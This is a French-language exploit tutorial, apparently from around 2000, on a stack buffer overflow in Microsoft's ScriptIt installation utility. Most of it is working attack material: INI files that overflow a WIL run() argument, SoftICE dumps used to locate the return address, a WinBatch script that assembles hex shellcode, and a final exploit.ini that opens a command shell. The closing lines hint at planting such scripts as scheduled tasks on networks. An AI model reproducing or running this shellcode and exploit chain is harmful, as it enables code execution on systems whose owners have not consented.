Scriptit est un utilitaire Microsoft qui permet de créé des fichiers INI pour automatiser les taches d'installation. et celui ci est ecrit en WIL, enjoy ;-) Link : http://microsoft.com/technet/treeview/default.asp?url=/TechNet/prodtechnol/winntas/downloads/scriptit.asp How does it work? Le programme demande en argument un fichier INI qui lui donneras les directives à suivres pour l'automatisation. voici un exemple de fichier utilisé par Scriptit. ---------[ script.ini ]------------ [SCRIPT] run=%upgroot%\post3\ssd1.20\setup.exe Setup Installation Options=!e Setup - Express=!u Setup Session Complete=!r Restart System=~ --------------------------------- Si vous lisez attentivement la doc, vous tomberez forcement sur ceci : ------------------------------------------------------------- @ When the @ sign is the first character to the right of the equal sign, ScriptIt interprets the remainder of the line as a WinBatch command. (WinBatch is a scripting language written by Wilson Window Ware. It has more than 400 functions that can be used to interrogate and manipulate Microsoft Windows® 95 and Microsoft Windows NT® operating systems.) ------------------------------------------------------------- Ce qui veut dir que je peut envoyer une commande WIL directement à Scriptit de la façon suivante [SCRIPT] run=@ma commande WIL :) ok, on test sa! -----[ test.ini ]--------- [SCRIPT] run=@run ("wordpad",strcat (strfill ("A",1626),"BBBB")) --------------------------- C:\>scriptit.exe test.ini Une exception d'application s'est produite : App : (pid=274) Quand : 10/1/2000 @ 19:23:46.901 Numéro d'exception : c0000005 (violation d'accès) Etat de vidage Thread Id 0xe3 eax=00135008 ebx=77f13b82 ecx=0012ffb0 edx=004022ac esi=00138f9c edi=00135008 eip=42424242 esp=0012fd00 ebp=00000000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 bon, impecable, on vas tout de site tester sa avec notre commande vulnerable ;) -----[ test2.ini ]--------- [SCRIPT] run=@run ("wordpad", strcat(strfill(num2char("144"),1516),"‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü*x")) --------------------------- C:\>scriptit.exe test2.ini Une exception d'application s'est produite : App : (pid=269) Quand : 10/1/2000 @ 19:27:17.954 Numéro d'exception : c0000005 (violation d'accès) eax=00135008 ebx=77f13b82 ecx=0012ffb0 edx=004022ac esi=00138f9c edi=00135008 eip=001389a8 esp=0012fd00 ebp=00000000 iopl=0 nv up ei ng nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000292 on dirait que l'offset est un peut cours, rajoutons 2 octets pour voir... -----[ test3.ini ]--------- [SCRIPT] run=@run ("wordpad", strcat(strfill(num2char("144"),1518),"‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü*x")) --------------------------- C:\>scriptit.exe test3.ini ----[softice]---- Break due to UnhandleExecption NTSTATUS=STATUS_ACCESS_VIOLATION MSR LastExceptionFromIp=1C030EE5 <-- Tiens, c'est plus même chose la! MSR LastExceptionToIp=42424242 :u 1C030EE5 001B:1C04045 FF907C2E0000 CALL [EAX+00026F8] <--- wouhou! on a pas la même version ! 001B:1C0404B 83C404 ADD ESP,04 001B:1C0404E C3 RET 001B:1C0404F 90 NOP 001B:1C04050 83EC24 SUB ESP,24 001B:1C04053 53 PUSH EBX 001B:1C04054 56 PUSH ESI 001B:1C04055 8B742430 MOV ESI,[ESP+30] 001B:1C04059 57 PUSH EDI 001B:1C0405A 8B7C243C MOV EDI,[ESP+3C] 001B:1C0405E 55 PUSH EBP 001B:1C0405F 81FFF7000000 CMP EDI,00000007 001B:1C04065 0F8504010000 JNZ 1C040D6F 001B:1C0406B 83BE5C48000007 CMP DWORD PTR [ESI+0000485C],0A 001B:1C04072 7C11 JL 1C040C85 001B:1C04074 66C786502700005809 WORD PTR [ESI+00002750],095B 001B:1C0407D 5D POP EBP 001B:1C0407E 5F POP EDI 001B:1C0407F 5E POP ESI 001B:1C04080 5B POP EBX 001B:1C04081 83C424 ADD ESP,24 001B:1C04084 C3 RET 001B:1C04085 6800800000 PUSH 000008000 001B:1C0408A FF1520F1051C CALL [KERNEL32!SET ERROR MODE] --------------------(PASSIVE)-KTEB(8067B030)-TID(00E1)-WBDCC32I!.text+0003FC45-------------------- /* CONFIRMATION! la version utilisé par scrptit n'est pas la même que la notre, car celui ci utilise la DLL WBDCC32I enfin bon, c'est pas grave, on vas retrouver cette adresse de retour en 2 coup de Un-assemble :) */ :u eax+00026F8 001B:001377OO FC CLD <--- apparement, j'ai rajouté 001B:001377O1 2A7813 SUB BH,[EAX+13] <--- un octet de trop! 001B:001377O4 0000 ADD [EAX],AL 001B:001377O6 0000 ADD [EAX],AL ;regardons tout de même l'adresse de retour 001B:001377O8 0000 ADD [EAX],AL ;utilisé par scriptit 001B:001377OA 0000 ADD [EAX],AL 001B:001377OC 0000 ADD [EAX],AL 001B:001377OE 0000 ADD [EAX],AL etc... :u eax+209E /* car 0x209E = 0x26F8 - 0x65A */ 001B:001370A6 41 INC ECX <-- ET hop ! nous avons notre adresse de retour ! 001B:001370A7 41 INC ECX 001B:001370A8 41 INC ECX 001B:001370A9 41 INC ECX 001B:001370AA 41 INC ECX 001B:001370AB 41 INC ECX 001B:001370AC 41 INC ECX 001B:001370AD 41 INC ECX 001B:001370AE 41 INC ECX 001B:001370AF 41 INC ECX 001B:001370B0 41 INC ECX 001B:001370BA 41 INC ECX etc... on reprend notre petit soft de shellcode string, en apportant la modif -------[hex2char.wbt]------ addextender ("wilx34I.dll") line1= "8B EC 33 C0 50 50 50 C6 45 F4 4D C6 45 F5 53 C6 45 F6 56 C6 45 F7 43 C6 45 F8 52 C6 45 F9 54 C6 45 FA 2E " line2= "C6 45 FB 44 C6 45 FC 4C C6 45 FD 4C BA BD 37 F1 77 52 8D 45 F4 50 FF 55 F0 8B EC 33 FF 57 C6 45 FC 43 C6 45 FD 4D C6 " line3= "45 FE 44 B8 24 98 01 78 50 8D 45 FC 50 FF 55 F8 8B EC BA FF FF FF FF 81 EA FB AA FF 87 52 33 C0 50 FF 55 FC" ret = "A6 70 13 00" ;<---- nouvelle adresse de retour shellcode=strcat (line1,line2,line3) shellstr=binaryalloc (200) for i = 1 to itemcount (shellcode," ") octet=xhex (itemextract(%i%,shellcode," ")) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ;place le shellcode dans un buffer next for f = 1 to 4 octet=xhex (itemextract(%f%,ret," ")) binarypokestr (shellstr,binaryeodget (shellstr),num2char (octet)) ;place l'adresse de retour apres le shellcode next sh=binarypeekstr (shellstr,0,binaryeodget (shellstr)) a=fileopen ("shellcode.txt","WRITE") ;ouvre shellcode.txt en ecriture filewrite (a,sh) ;ecrit la chaine de caractere dans le fichier fileclose (a) ;ferme le fichier --------------------------------- nouvelle chaine de caractère! --------------[ Shellcode.txt ]------------------ ‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü¦p ------------------------------------------------- donc, maintenant qu'on a l'adresse de retour, et que l'on sait que l'offset = 1517, on vas essayer d'exploiter ce fucking exploit!!! -----[ test4.ini ]--------- [SCRIPT] run=@run ("wordpad", strcat(strfill(num2char("144"),1516),"‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUü¦p")) --------------------------- C:\>scriptit.exe test4.ini ----[ softice ]---- 001B:001375D4 0000 ADD [EAX,AL] <--- merde, scriptit a l'air de placer des 0 sur la pile 001B:001375D6 0000 ADD [EAX,AL] <--- en plein milieu de notre chaine de NOP! 001B:001375D8 0000 ADD [EAX,AL] 001B:001375DA 0000 ADD [EAX,AL] 001B:001375DC 44 INC 001B:001375DD 239090909090 AND EDX [EAX+90909090] 001B:001375E3 90 NOP <--- on vas remettre l'adresse de retour ici 001B:001375E4 90 NOP 001B:001375E5 90 NOP 001B:001375E6 90 NOP 001B:001375E7 90 NOP ----------------------- --------------[ NewShellcode.txt ]------------------ ‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUüãu ------------------------------------------------- ----[ exploit.ini ]---- [SCRIPT] run=@run ("wordpad", strcat(strfill(num2char("144"),1516),"‹ì3ÀPPPÆEôMÆEõSÆEöVÆE÷CÆEøRÆEùTÆEú.ÆEûDÆEüLÆEýLº½7ñwREôPÿUð‹ì3ÿWÆEüCÆEýMÆEþD¸$˜xPEüPÿUø‹ìºÿÿÿÿêûªÿ‡R3ÀPÿUüãu")) ----------------------- C:\>scriptit.exe exploit.ini TADAM! ---------------------------------------- Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp D:\projet\overrun\> ---------------------------------------- ET Voila! nous avons un shell!! Bien sur, cela ne sert strictement à rien, vue que scriptit n'est pas un module chargé par l'agent system ou un quelquonque administrateur, mais comme je le dit dans le titre, on a fait sa pour le FUN ;) Mais qui sait, peut être qu'un jour vous trouverez sur un réseau routé une jolie tache AT ecrite en WIL :) -------- [ DA END ] -------- Voili Voila! c'est fini! j'espère que vous avez suivit jusqu'au bout cette petite demonstration d'OverRun!! Si vous avez des questions, des remarques, ou des exploits à codé, ou même juste un ptit coucou, je suis à votre dispo sur ThreaT@Caramail.com! Greetz : Maverick & FTO Greatz to All people of Gamma OH! Merci aussi à Artif pour m'avoir filé des softs forts utilises ;) "Le problème est que même si vous l'emportez sur tous les autres dans un panier de crabes. Vous êtes toujours un crabe" -- Lily Tomlin.